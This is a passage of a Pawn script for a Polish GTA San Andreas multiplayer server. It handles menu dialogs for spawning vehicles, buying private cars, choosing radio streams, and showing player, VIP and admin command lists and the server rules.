  3210.                                 case 54: GivePlayerCar(playerid,530);
  3211.                                 case 55: GivePlayerCar(playerid,526);
  3212.                                 case 56: GivePlayerCar(playerid,466);
  3213.                                 case 57: GivePlayerCar(playerid,492);
  3214.                                 case 58: GivePlayerCar(playerid,474);
  3215.                                 case 59: GivePlayerCar(playerid,588);
  3216.                                 case 60: GivePlayerCar(playerid,434);
  3217.                                 case 61: GivePlayerCar(playerid,502);
  3218.                                 case 62: GivePlayerCar(playerid,503);
  3219.                                 case 63: GivePlayerCar(playerid,494);
  3220.                                 case 64: GivePlayerCar(playerid,579);
  3221.                                 case 65: GivePlayerCar(playerid,545);
  3222.                                 case 66: GivePlayerCar(playerid,411);
  3223.                                 case 67: GivePlayerCar(playerid,546);
  3224.                                 case 68: GivePlayerCar(playerid,559);
  3225.                                 case 69: GivePlayerCar(playerid,508);
  3226.                                 case 70: GivePlayerCar(playerid,571);
  3227.                                 case 71: GivePlayerCar(playerid,400);
  3228.                                 case 72: GivePlayerCar(playerid,403);
  3229.                                 case 73: GivePlayerCar(playerid,517);
  3230.                                 case 74: GivePlayerCar(playerid,410);
  3231.                                 case 75: GivePlayerCar(playerid,551);
  3232.                                 case 76: GivePlayerCar(playerid,500);
  3233.                                 case 77: GivePlayerCar(playerid,418);
  3234.                                 case 78: GivePlayerCar(playerid,572);
  3235.                                 case 79: GivePlayerCar(playerid,423);
  3236.                                 case 80: GivePlayerCar(playerid,444);
  3237.                                 case 81: GivePlayerCar(playerid,556);
  3238.                                 case 82: GivePlayerCar(playerid,557);
  3239.                                 case 83: GivePlayerCar(playerid,414);
  3240.                                 case 84: GivePlayerCar(playerid,516);
  3241.                                 case 85: GivePlayerCar(playerid,582);
  3242.                                 case 86: GivePlayerCar(playerid,467);
  3243.                                 case 87: GivePlayerCar(playerid,443);
  3244.                                 case 88: GivePlayerCar(playerid,470);
  3245.                                 case 89: GivePlayerCar(playerid,404);
  3246.                                 case 90: GivePlayerCar(playerid,514);
  3247.                                 case 91: GivePlayerCar(playerid,603);
  3248.                                 case 92: GivePlayerCar(playerid,600);
  3249.                                 case 93: GivePlayerCar(playerid,413);
  3250.                                 case 94: GivePlayerCar(playerid,426);
  3251.                                 case 95: GivePlayerCar(playerid,436);
  3252.                                 case 96: GivePlayerCar(playerid,547);
  3253.                                 case 97: GivePlayerCar(playerid,489);
  3254.                                 case 98: GivePlayerCar(playerid,515);
  3255.                                 case 99: GivePlayerCar(playerid,479);
  3256.                                 case 100: GivePlayerCar(playerid,534);
  3257.                                 case 101: GivePlayerCar(playerid,442);
  3258.                                 case 102: GivePlayerCar(playerid,440);
  3259.                                 case 103: GivePlayerCar(playerid,475);
  3260.                                 case 104: GivePlayerCar(playerid,543);
  3261.                                 case 105: GivePlayerCar(playerid,495);
  3262.                                 case 106: GivePlayerCar(playerid,567);
  3263.                                 case 107: GivePlayerCar(playerid,428);
  3264.                                 case 108: GivePlayerCar(playerid,405);
  3265.                                 case 109: GivePlayerCar(playerid,535);
  3266.                                 case 110: GivePlayerCar(playerid,458);
  3267.                                 case 111: GivePlayerCar(playerid,580);
  3268.                                 case 112: GivePlayerCar(playerid,439);
  3269.                                 case 113: GivePlayerCar(playerid,561);
  3270.                                 case 114: GivePlayerCar(playerid,409);
  3271.                                 case 115: GivePlayerCar(playerid,560);
  3272.                                 case 116: GivePlayerCar(playerid,550);
  3273.                                 case 117: GivePlayerCar(playerid,506);
  3274.                                 case 118: GivePlayerCar(playerid,601);
  3275.                                 case 119: GivePlayerCar(playerid,574);
  3276.                                 case 120: GivePlayerCar(playerid,566);
  3277.                                 case 121: GivePlayerCar(playerid,549);
  3278.                                 case 122: GivePlayerCar(playerid,420);
  3279.                                 case 123: GivePlayerCar(playerid,559);
  3280.                                 case 124: GivePlayerCar(playerid,576);
  3281.                                 case 125: GivePlayerCar(playerid,525);
  3282.                                 case 126: GivePlayerCar(playerid,531);
  3283.                                 case 127: GivePlayerCar(playerid,408);
  3284.                                 case 128: GivePlayerCar(playerid,583);
  3285.                                 case 129: GivePlayerCar(playerid,451);
  3286.                                 case 130: GivePlayerCar(playerid,558);
  3287.                                 case 131: GivePlayerCar(playerid,552);
  3288.                                 case 132: GivePlayerCar(playerid,540);
  3289.                                 case 133: GivePlayerCar(playerid,451);
  3290.                                 case 134: GivePlayerCar(playerid,412);
  3291.                                 case 135: GivePlayerCar(playerid,539);
  3292.                                 case 136: GivePlayerCar(playerid,421);
  3293.                                 case 137: GivePlayerCar(playerid,529);
  3294.                                 case 138: GivePlayerCar(playerid,555);
  3295.                                 case 139: GivePlayerCar(playerid,456);
  3296.                                 case 140: GivePlayerCar(playerid,554);
  3297.  
  3298.                         }
  3299.                         }else{
  3300.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3301.                         ShowPlayerDialog(playerid, 3, DIALOG_STYLE_LIST, "Wybierz typ pojazdu", "Samochody \n Motory/Rowery", "Dalej", "Anuluj");
  3302.                 }
  3303.  
  3304.                 return 1;
  3305.         }
  3306.  
  3307.         if(dialogid == 402)
  3308.         {
  3309.                 if(response)
  3310.                 {
  3311.                         switch(listitem)
  3312.                         {
  3313.                                 case 0: GivePlayerCar(playerid,509);
  3314.                                 case 1: GivePlayerCar(playerid,481);
  3315.                                 case 2: GivePlayerCar(playerid,510);
  3316.                                 case 3: GivePlayerCar(playerid,522);
  3317.                                 case 4: GivePlayerCar(playerid,462);
  3318.                                 case 5: GivePlayerCar(playerid,521);
  3319.                                 case 6: GivePlayerCar(playerid,463);
  3320.                                 case 7: GivePlayerCar(playerid,586);
  3321.                                 case 8: GivePlayerCar(playerid,468);
  3322.                                 case 9: GivePlayerCar(playerid,471);
  3323.                         }
  3324.                         }else{
  3325.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3326.                         ShowPlayerDialog(playerid, 3, DIALOG_STYLE_LIST, "Wybierz typ pojazdu", "Samochody \n Motory/Rowery", "Dalej", "Anuluj");
  3327.                 }
  3328.  
  3329.                 return 1;
  3330.         }
  3331.  
  3332.  
  3333.         if(dialogid == 403)
  3334.         {
  3335.                 if(response)
  3336.                 {
  3337.                         switch(listitem)
  3338.                         {
  3339.                                 case 0: GivePlayerCar(playerid,473);
  3340.                                 case 1: GivePlayerCar(playerid,493);
  3341.                                 case 2: GivePlayerCar(playerid,484);
  3342.                                 case 3: GivePlayerCar(playerid,453);
  3343.                                 case 4: GivePlayerCar(playerid,452);
  3344.                                 case 5: GivePlayerCar(playerid,446);
  3345.                                 case 6: GivePlayerCar(playerid,454);
  3346.                         }
  3347.                         }else{
  3348.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3349.                         ShowPlayerDialog(playerid, 3, DIALOG_STYLE_LIST, "Wybierz typ pojazdu", "Samochody \n Motory/Rowery", "Dalej", "Anuluj");
  3350.                 }
  3351.  
  3352.                 return 1;
  3353.         }
  3354.  
  3355.         if(dialogid == 404)
  3356.         {
  3357.                 if(response)
  3358.                 {
  3359.                         switch(listitem)
  3360.                         {
  3361.                                 case 0: GivePlayerCar(playerid,593);
  3362.                                 case 1: GivePlayerCar(playerid,513);
  3363.                                 case 2: GivePlayerCar(playerid,511);
  3364.                                 case 3: GivePlayerCar(playerid,460);
  3365.                                 case 4: GivePlayerCar(playerid,519);
  3366.                                 case 5: GivePlayerCar(playerid,548);
  3367.                                 case 6: GivePlayerCar(playerid,417);
  3368.                                 case 7: GivePlayerCar(playerid,487);
  3369.                                 case 8: GivePlayerCar(playerid,563);
  3370.                                 case 9: GivePlayerCar(playerid,469);
  3371.                         }
  3372.                         }else{
  3373.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3374.                         ShowPlayerDialog(playerid, 3, DIALOG_STYLE_LIST, "Wybierz typ pojazdu", "Samochody \n Motory/Rowery", "Dalej", "Anuluj");
  3375.                 }
  3376.  
  3377.                 return 1;
  3378.         }
  3379.         if(dialogid == 22 && response)
  3380.         {
  3381.                 switch(listitem)
  3382.                 {
  3383.                         case 0:
  3384.                         {
  3385.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3386.                                 new Float:x, Float:y, Float:z;
  3387.                                 GetPlayerPos(playerid, x, y, z);
  3388.                                 if(ZespawnowanyPrivCar[playerid] == false)
  3389.                                 {
  3390.                                         PrywatnyPojazd[playerid] = CreateVehicle(mysql_PlayerGetInt(pName[playerid], "privcar"), x+2, y+2, z+1, 0.0, random(128), random(128), 99999999999);
  3391.                                         format(strx, sizeof(strx), ""C_O"Właściciel: "C_B"%s\n"C_O"Przebieg: "C_B"%.1f "C_O"km", pName[playerid], PrivPrzebieg[playerid]);
  3392.                                         PrywatnyPojazdLabel[playerid] = Create3DTextLabel(strx,-1,0.0,0.0,0.0,60.0,0,1);
  3393.                                         Attach3DTextLabelToVehicle(PrywatnyPojazdLabel[playerid], PrywatnyPojazd[playerid], 0.0, 0.0, 0.0);
  3394.                                         PrivCar[PrywatnyPojazd[playerid]] = playerid;
  3395.                                         ZespawnowanyPrivCar[playerid] = true;
  3396.                                         PrivCarPos[playerid][0] = x+2;
  3397.                                         PrivCarPos[playerid][1] = y+2;
  3398.                                         PrivCarPos[playerid][2] = z+1;
  3399.                                 }
  3400.                                 else
  3401.                                 {
  3402.                                         SetVehiclePos(PrywatnyPojazd[playerid], x+2, y+2, z+1);
  3403.                                         PrivCarPos[playerid][0] = x+2;
  3404.                                         PrivCarPos[playerid][1] = y+2;
  3405.                                         PrivCarPos[playerid][2] = z+1;
  3406.                                 }
  3407.                                 LinkVehicleToInterior(PrywatnyPojazd[playerid], GetPlayerInterior(playerid));
  3408.                                 SetVehicleVirtualWorld(PrywatnyPojazd[playerid], GetPlayerVirtualWorld(playerid));
  3409.                                 SCM(playerid, -1, ""czat" "C_O"Teleportowałeś swój prywatny pojazd do siebie.");
  3410.                         }
  3411.                         case 1:
  3412.                         {
  3413.                                 if(!IsPlayerInAnyVehicle(playerid) || (ZespawnowanyPrivCar[playerid] == true && GetPlayerVehicleID(playerid) != PrywatnyPojazd[playerid])) return SCM(playerid, COLOR_ERROR, "* Musisz być w swoim prywatnym pojeździe!");
  3414.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3415.                                 new buycarlist[1900];
  3416.                                 for(new i=0; i<sizeof(buycarid); i++)
  3417.                                 {
  3418.                                         format(buycarlist, sizeof(buycarlist), "%s%s\n", buycarlist, VehicleNames[buycarid[i]-400]);
  3419.                                 }
  3420.  
  3421.                                 ShowPlayerDialog(playerid, 23, DIALOG_STYLE_LIST, "Zmień model", buycarlist, "Wybierz", "Zamknij");
  3422.                         }
  3423.                 }
  3424.                 return 1;
  3425.         }
  3426.         if(dialogid == 23 && response)
  3427.         {
  3428.                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3429.                 mysql_PlayerIntSet(pName[playerid], "privcar", buycarid[listitem]);
  3430.                 new Float:x, Float:y, Float:z;
  3431.                 GetPlayerPos(playerid, x, y, z);
  3432.                 PrivCar[PrywatnyPojazd[playerid]] = -1;
  3433.                 Delete3DTextLabel(PrywatnyPojazdLabel[playerid]);
  3434.                 DestroyVehicle(PrywatnyPojazd[playerid]);
  3435.                 PrywatnyPojazd[playerid] = CreateVehicle(buycarid[listitem], x, y, z, 0.0, random(128), random(128), 99999999999);
  3436.                 format(strx, sizeof(strx), ""C_O"Właściciel: "C_B"%s\n"C_O"Przebieg: "C_B"%.1f "C_O"km", pName[playerid], PrivPrzebieg[playerid]);
  3437.                 PrywatnyPojazdLabel[playerid] = Create3DTextLabel(strx,0x00FFFFFF,0.0,0.0,0.0,60.0,0,1);
  3438.                 Attach3DTextLabelToVehicle(PrywatnyPojazdLabel[playerid], PrywatnyPojazd[playerid], 0.0, 0.0, 0.0);
  3439.                 PrivCar[PrywatnyPojazd[playerid]] = playerid;
  3440.                 PutPlayerInVehicle(playerid, PrywatnyPojazd[playerid], 0);
  3441.                 PrivCarPos[playerid][0] = x;
  3442.                 PrivCarPos[playerid][1] = y;
  3443.                 PrivCarPos[playerid][2] = z;
  3444.                 PrivPrzebieg[playerid] = 0.0;
  3445.                 PrivSpeed[playerid] = 0;
  3446.  
  3447.                 format(strx, sizeof(strx), ""czat" "C_O"Zmieniłeś model swojego pojazdu na: "C_B"%d"C_O".", buycarid[listitem]);
  3448.                 SCM(playerid, -1, strx);
  3449.                 return 1;
  3450.         }
  3451.         if(dialogid == 34 && response)
  3452.         {
  3453.                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3454.                 SelectedPrivCar[playerid] = buycarid[listitem];
  3455.                 format(strx, sizeof(strx), "Chcesz kupić prywatny pojazd\n%s ?", VehicleNames[buycarid[listitem]-400]);
  3456.                 ShowPlayerDialog(playerid, 21, DIALOG_STYLE_MSGBOX, "Kup pojazd", strx, "Kup", "Cofnij");
  3457.                 return 1;
  3458.         }
  3459.         if(dialogid == 21)
  3460.         {
  3461.                 if(response)
  3462.                 {
  3463.                         if(GetPlayerScore(playerid) < 10000) return SCM(playerid, -1, ""C_O"Musisz mieć "C_B"10000 "C_O"expa by kupić prywatny pojazd!");
  3464.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3465.                         mysql_PlayerIntSet(pName[playerid], "privcar", SelectedPrivCar[playerid]);
  3466.                         new Float:x, Float:y, Float:z;
  3467.                         GetPlayerPos(playerid, x, y, z);
  3468.                         PrywatnyPojazd[playerid] = CreateVehicle(SelectedPrivCar[playerid], x+2, y+2, z+1, 0.0, random(128), random(128), 99999999999);
  3469.                         format(strx, sizeof(strx), ""C_O"Właściciel: "C_B"%s\n"C_O"Przebieg: "C_B"%.1f "C_O"km", pName[playerid], PrivPrzebieg[playerid]);
  3470.                         PrywatnyPojazdLabel[playerid] = Create3DTextLabel(strx,0x00FFFFFF,0.0,0.0,0.0,60.0,0,1);
  3471.                         Attach3DTextLabelToVehicle(PrywatnyPojazdLabel[playerid], PrywatnyPojazd[playerid], 0.0, 0.0, 0.0);
  3472.                         PrivCar[PrywatnyPojazd[playerid]] = playerid;
  3473.                         ZespawnowanyPrivCar[playerid] = true;
  3474.                         PrivCarPos[playerid][0] = x+2;
  3475.                         PrivCarPos[playerid][1] = y+2;
  3476.                         PrivCarPos[playerid][2] = z+1;
  3477.                         MaPrivCar[playerid] = true;
  3478.                         PrivPrzebieg[playerid] = 0.0;
  3479.                         PrivSpeed[playerid] = 0;
  3480.  
  3481.                         format(strx, sizeof(strx), ""czat" "C_O"Kupiłeś prywatny pojazd "C_B"%s "C_O". ( "C_B"/pojazd "C_O")", VehicleNames[SelectedPrivCar[playerid]-400]);
  3482.                         SCM(playerid, -1, strx);
  3483.                 }
  3484.                 else
  3485.                         OnDialogResponse(playerid, 15, 1, 0, "");
  3486.                 return 1;
  3487.         }
  3488.         if(dialogid == 15 && response)
  3489.         {
  3490.                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3491.                 new buycarlist[1900];
  3492.                 for(new i=0; i<sizeof(buycarid); i++)
  3493.                 {
  3494.                         format(buycarlist, sizeof(buycarlist), "%s%s\n", buycarlist, VehicleNames[buycarid[i]-400]);
  3495.                 }
  3496.  
  3497.                 ShowPlayerDialog(playerid, 34, DIALOG_STYLE_LIST, "Kup pojazd", buycarlist, "Wybierz", "Zamknij");
  3498.                 return 1;
  3499.         }
  3500.         if(dialogid == 192)
  3501.         {
  3502.                 if(response )
  3503.                 {
  3504.  
  3505.                         switch(listitem)
  3506.                         {
  3507.  
  3508.                                 case 0:
  3509.                                 {
  3510.                                         PlayAudioStreamForPlayer(playerid, "http://odsluchane.eu/pls/eska.pls"); //Radio Eska
  3511.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"Radio eska :) ");
  3512.                                 }
  3513.                                 case 1:
  3514.                                 {
  3515.                                         PlayAudioStreamForPlayer(playerid, "http://yp.shoutcast.com/sbin/tunein-station.pls?id=1615635");//polski hip-hop
  3516.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"Polski Hip-Hop :) ");
  3517.                                 }
  3518.                                 case 2:
  3519.                                 {
  3520.                                         PlayAudioStreamForPlayer(playerid, "http://www.polskastacja.pl/play/aac_hot100.pls"); //HOT 100
  3521.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"HOT 100 :) ");
  3522.                                 }
  3523.                                 case 3 :
  3524.                                 {
  3525.                                         PlayAudioStreamForPlayer(playerid, "http://radiozetmp3-07.eurozet.pl:8400"); // radio zet
  3526.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"Radio ZET :) ");
  3527.                                 }
  3528.                                 case 4 :
  3529.                                 {
  3530.                                         PlayAudioStreamForPlayer(playerid, "http://217.74.72.3:8000/rmf_maxxx");
  3531.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"Rmf Maxxx :) ");
  3532.                                 }
  3533.                                 case 5 :
  3534.                                 {
  3535.                                         PlayAudioStreamForPlayer(playerid, "http://stream.polskieradio.pl/program1"); // polskie radio
  3536.                                         SCM(playerid, -1, ""C_O"Wybrałes kanał{808080} "C_B"Polskie radio :) ");
  3537.                                 }
  3538.  
  3539.  
  3540.                         }
  3541.                 }
  3542.         }
  3543.         if(dialogid == 30){
  3544.                 if(response){
  3545.  
  3546.                         if(listitem == 0){//1139
  3547.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3548.                                 new StrinG[1500];
  3549.                                 strcat(StrinG, "/lock"C_B" - Zamykasz pojazd"C_O"\n/unlock"C_B" - Otwierasz pojazd"C_O"\n/spadochron"C_B" - Dostajesz spadochron"C_O"\n/styl"C_B" - Styl walki"C_O"\n/anims"C_B" - Animacje"C_O"\n/bronie"C_B" - Kupujesz broń"C_O"\n/neon"C_B" - Neony w pojazdach"C_O"\n/givecash"C_B" - Dajesz kasę"C_O"\n");
  3550.                                 strcat(StrinG, "/figurki"C_B" - Informacje o figurkach\n"C_O"/pos"C_B" - Sprawdzasz pozycje na mapie"C_O"\n/hp"C_B" - Sprawdzasz ilość zycia"C_O"\n/dystans"C_B" - Sprawdzasz odległość do innego gracza"C_O"\n");
  3551.                                 strcat(StrinG, "/wyscigi"C_B" - Lista wyścigów"C_O"\n/clearme"C_B" - Czyścisz sobie czat\n"C_O"/me"C_B" - Czynność\n"C_O"/hitman"C_B" - Nagroda za gracza\n"C_O"/zabawy"C_B" - Informacje o zabawach\n"C_O"/losexp"C_B" - Losujesz sobie exp.\n"C_O"/top "C_B"- Toplisty graczy\n"C_O"");
  3552.                                 strcat(StrinG, "/zw"C_B" - Zaraz wracam\n"C_O"/jj"C_B" - Już jestem\n"C_O"/staty "C_B"- Statystyki graczy\n"C_O"/rec "C_B" - Tryb nagrywania"C_O"\n/solo"C_B" - Rozgrywka PvP\n"C_O"/resrace"C_B" - Restart wyścigu\n"C_O"/nitro"C_B" - Zmiana rodzaju nitro\n"C_O"/pytanie"C_B" - pytanie do administracji\n");
  3553.                                 strcat(StrinG, ""C_O"/witam /siema /elo"C_B" - Witasz się z graczami\n"C_O"/przelewexp"C_B" - Przelewasz innemu graczowi exp.\n"C_O"/gang - "C_B" informacje na temat gangów.");
  3554.  
  3555.                                 ShowPlayerDialog(playerid,32,0,"Komendy Gracza",StrinG,"Cofnij",">>>");
  3556.  
  3557.                                 }else if(listitem == 1){
  3558.  
  3559.                                 if(Administrator[playerid] < 1 && Vip[playerid] == false){
  3560.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3561.                                         SCM(playerid, -1,""C_O"Nie jesteś "C_B"Vipem!");
  3562.                                         ShowPlayerDialog(playerid,30,2,"{3FBAFC}Polski TOP Serwer",""C_O"Komendy Gracza\n"C_B"Komendy Vipa\n"C_O"Komendy Admina \n"C_B"Komendy Gangu \n"C_O"Regulamin Serwera \n"C_B"Konto VIP \n{A40000}Autor GameMode","Dalej","Wyjdz");
  3563.                                         return 1;
  3564.                                 }
  3565.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3566.                                 new StrinG[1024];
  3567.                                 strcat(StrinG, "{FFFF00}Komendy dla VIP'ów:"C_O"\n\n");
  3568.                                 strcat(StrinG, "/vkolor - Zmieniasz sobie kolor.\n");
  3569.                                 strcat(StrinG, "/vcolor - Otrzymujesz specjalny kolor dla VIP'ów.\n");
  3570.                                 strcat(StrinG, "/vjetpack - Dostajesz jetpack'a.\n");
  3571.                                 strcat(StrinG, "/vczas - Zmieniasz sobie godzine.\n");
  3572.                                 strcat(StrinG, "/vpogoda - Zmieniasz sobie pogodę.\n");
  3573.                                 strcat(StrinG, "/vtele - Włączasz/Wyłączasz teleport za pomoc mapy.\n/vbronie - Ustawiasz zestaw broni.\n");
  3574.                                 strcat(StrinG, "/vdotacja - otrzymujesz 1 mln $\n");
  3575.                                 strcat(StrinG, "/vpozostalo - sprawdzasz ważność vipa\n");
  3576.                                 strcat(StrinG, "\n\n\n{FFFF00}Dodatkowo otrzymujesz:"C_O"\n\n");
  3577.                                 strcat(StrinG, "- Kamizelka na spawnie.\n");
  3578.                                 strcat(StrinG, "- O połowę zmniejszony czas oczekiwania na /zycie oraz /pancerz.\n");
  3579.                                 strcat(StrinG, "- Range w chacie\n");
  3580.                                 strcat(StrinG, "- Dodatkowe +2 exp za zabicie.\n");
  3581.                                 strcat(StrinG, "- Dodatkowe 10000$ na spawnie.\n");
  3582.                                 strcat(StrinG, "- Dwukrotnie powiększony limit maksymalnego pingu.\n");
  3583.                                 strcat(StrinG, "- Brak straty exp'a przy samobójstwie.\n");
  3584.                                 strcat(StrinG, "- Teleportowanie się w dowolne miejsce zaznaczone na mapie.\n");
  3585.                                 strcat(StrinG, "- Powiekszone zycie pojazdu do 120.\n");
  3586.                                 strcat(StrinG, "- Własny zestaw bronii na spawnie.\n");
  3587.                                 strcat(StrinG, "Chcesz zakupić VIP na okres 31 dni ? Wpisz /vip!");
  3588.  
  3589.                                 ShowPlayerDialog(playerid,31,0,"Komendy Vipa",StrinG,"Cofnij","Wyjdz");
  3590.  
  3591.  
  3592.  
  3593.  
  3594.                                 }else if(listitem == 2){
  3595.  
  3596.                                 if(Administrator[playerid] < 1){
  3597.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3598.                                         SCM(playerid, -1,""C_O"Nie jesteś "C_B"administratorem!");
  3599.                                         ShowPlayerDialog(playerid,30,2,"{3FBAFC}Polski TOP Serwer",""C_O"Komendy Gracza\n"C_B"Komendy Vipa\n"C_O"Komendy Admina \n"C_B"Komendy Gangu \n"C_O"Regulamin Serwera \n"C_B"Konto VIP \n{A40000}Autor GameMode","Dalej","Wyjdz");
  3600.                                         return 1;
  3601.                                 }
  3602.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3603.                                 new StrinG[1400];
  3604.                                 strcat(StrinG, ""C_B"Komendy administratorów:\n\n"C_O"");
  3605.                                 strcat(StrinG, "/lastraports - Ostatnie 5 raportów\n");
  3606.                                 strcat(StrinG, "/spec - Podglądasz gracza\n");
  3607.                                 strcat(StrinG, "/givemoney - Dajesz kase\n");
  3608.                                 strcat(StrinG, "/giveexp - Dajesz exp\n");
  3609.                                 strcat(StrinG, "/freeze - Zamrażasz gracza\n");
  3610.                                 strcat(StrinG, "/warn - dajesz ostrzećenie\n");
  3611.                                 strcat(StrinG, "/acolor - kolor admina\n");
  3612.                                 strcat(StrinG, "/invisible - znikasz z radaru\n");
  3613.                                 strcat(StrinG, "/unfreeze - Odmrażasz gracza\n");
  3614.                                 strcat(StrinG, "/ann - Piszesz na środku ekranu\n");
  3615.                                 strcat(StrinG, "/tpto - Teleport do ...\n");
  3616.                                 strcat(StrinG, "/tp - Teleport A do B\n");
  3617.                                 strcat(StrinG, "/getweapon - Sprawdzasz bronie gracza\n");
  3618.                                 strcat(StrinG, "/ban - Dajesz bana graczowi\n");
  3619.                                 strcat(StrinG, "/kick - Wyrzucasz gracza z serwera\n");
  3620.                                 strcat(StrinG, "/say - Piszesz jako admin w chacie\n");
  3621.                                 strcat(StrinG, "/givejetpack - Dajesz jetpack\n");
  3622.                                 strcat(StrinG, "/givegun - Dajesz broń\n");
  3623.                                 strcat(StrinG, "/vgod - Niezniszczalny pojazd\n");
  3624.                                 strcat(StrinG, "/god - Nieśmiertelność\n");
  3625.                                 strcat(StrinG, "/setarmor - Ustawiasz pancerz\n");
  3626.                                 strcat(StrinG, "/sethp - Ustawiasz życie\n");
  3627.                                 strcat(StrinG, "/objective - Oznaczenie pojazdu\n");
  3628.                                 strcat(StrinG, "/rozbroj - Pozbywasz gracza broni\n");
  3629.                                 strcat(StrinG, "/settime - Ustawiasz godzinę\n");
  3630.                                 strcat(StrinG, "/pogoda - Ustawiasz pogodę\n");
  3631.                                 strcat(StrinG, "/getip - Sprawdzasz IP gracza\n");
  3632.                                 strcat(StrinG, "/walizka - Stawiasz walizkę\n");
  3633.                                 strcat(StrinG, "/clear - Czyścisz chat\n");
  3634.                                 strcat(StrinG, "/mute - Wyciszasz gracza (chat)\n");
  3635.                                 strcat(StrinG, "/maxping - Ustawiasz maxping\n");
  3636.                                 strcat(StrinG, "/explode - Wybuch\n");
  3637.                                 strcat(StrinG, "/respawn - Respawn pojazdów\n");
  3638.                                 strcat(StrinG, "/eye - Podgląd komend\n");
  3639.                                 strcat(StrinG, "/pmeye - Podgląd PW\n");
  3640.                                 strcat(StrinG, "/unban - Odbanowujesz nick\n");
  3641.                                 strcat(StrinG, "/addban - Dajesz bana graczowi offline\n");
  3642.                                 strcat(StrinG, "/zpos - Zmiana wysokości gracza\n");
  3643.                                 strcat(StrinG, "/darea - Rozbrajasz wszystkich w pobliżu ciebie\n");
  3644.                                 strcat(StrinG, "/setcolor - Zmieniasz kolor\n");
  3645.                                 strcat(StrinG, "/jail - Więzienie\n");
  3646.                                 strcat(StrinG, "/unjail - wypuszczasz z wiezienia\n");
  3647.                                 strcat(StrinG, "/r - piszesz wiadomość na czacie\n");
  3648.                                 strcat(StrinG, "/Admin - logujesz na admina\n");
  3649.  
  3650.                                 ShowPlayerDialog(playerid,31,0,"Komendy administracji",StrinG,"Cofnij","Wyjdz");
  3651.  
  3652.  
  3653.                                 }else if(listitem == 3){
  3654.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3655.                                 new StrinG[128];
  3656.                                 StrinG = "/g - rozmawiasz na czacie gangu.\n";
  3657.                                 strcat(StrinG,"/g_opusc - opuszczasz gang\n");
  3658.                                 strcat(StrinG,"/g_accept - przyjmujesz zaproszenie do gangu.\n");
  3659.                                 strcat(StrinG,"/g_odrzuc - odrzucasz zaproszenie do gangu.\n");
  3660.                                 strcat(StrinG,"/g_zapros - zapraszasz gracza do gangu.\n");
  3661.                                 strcat(StrinG,"/g_wyrzuc - wyrzucasz gracza z gangu.");
  3662.  
  3663.                                 ShowPlayerDialog(playerid,31,0,"Komendy gangu",StrinG,"Cofnij","Wyjdz");
  3664.  
  3665.                                 }else if(listitem == 4){
  3666.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3667.                                 new StrinG[1024];
  3668.                                 strcat(StrinG, "{FF0000}Regulamin Serwera"C_O"\n\n\n");
  3669.                                 strcat(StrinG, "1. Nie wolno uzywać cheatów/bugów/modów/trainerów ułatwiajcych gre.\n\n2. Nie wolno korzystac z bugów, które przeszkadzaja innym graczom.\n\n3. Nie wolno wyzywac innych graczy.\n\n");
  3670.                                 strcat(StrinG, "4. Nie wolno spamować i reklamować.\n\n5. Nie wolno podszywać się pod innych graczy i administratorów.\n\n6. Administrator ma prawo kickowa/banować bez PODANIA przyczyny.\n\n");
  3671.                                 strcat(StrinG, "7. Osoba zbanowana ma prawo do złożenia wyjaśnień na forum.\n\n8. Zabronione jest łamanie zasad Polskiego kodeksu karnego.\n\n9. Istnieje całkowity zakaz oszustwa materialnego graczy.\n\n{00BB00}");
  3672.                                 strcat(StrinG, "Rejestracja na serwerze oznacza akceptację regulaminu.\nWszelkie próby złamania regulaminu moga być karane w różny sposób.\n\nStrona serwera: www.TOP.xaa.pl");
  3673.  
  3674.                                 ShowPlayerDialog(playerid,31,0,"Regulamin Serwera",StrinG,"Cofnij","Wyjdz");
  3675.  
  3676.                                 }else if(listitem == 5){
  3677.                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  3678.                                 new StrinG[1200];
  3679.                                 strcat(StrinG, "{FFFF00}Komendy dla VIP'ów:"C_O"\n\n");
  3680.                                 strcat(StrinG, "/vkolor - Zmieniasz sobie kolor.\n");
  3681.                                 strcat(StrinG, "/vcolor - Otrzymujesz specjalny kolor dla VIP'ów.\n");
  3682.                                 strcat(StrinG, "/vjetpack - Dostajesz jetpack'a.\n");
  3683.                                 strcat(StrinG, "/vczas - Zmieniasz sobie godzine.\n");
  3684.                                 strcat(StrinG, "/vpogoda - Zmieniasz sobie pogodę.\n");
  3685.                                 strcat(StrinG, "/vtele - Włączasz/Wyłączasz teleport za pomoc mapy.\n/vbronie - Ustawiasz zestaw broni.\n");
  3686.                                 strcat(StrinG, "/vdotacja - otrzymujesz 1 mln $\n");
  3687.                                 strcat(StrinG, "/vpozostalo - sprawdzasz ważność vipa\n");
  3688.                                 strcat(StrinG, "\n\n\n{FFFF00}Dodatkowo otrzymujesz:"C_O"\n\n");
  3689.                                 strcat(StrinG, "- Kamizelka na spawnie.\n");
  3690.                                 strcat(StrinG, "- O połowę zmniejszony czas oczekiwania na /zycie oraz /pancerz.\n");
  3691.                                 strcat(StrinG, "- Range w chacie\n");
  3692.                                 strcat(StrinG, "- Dodatkowe +2 exp za zabicie.\n");
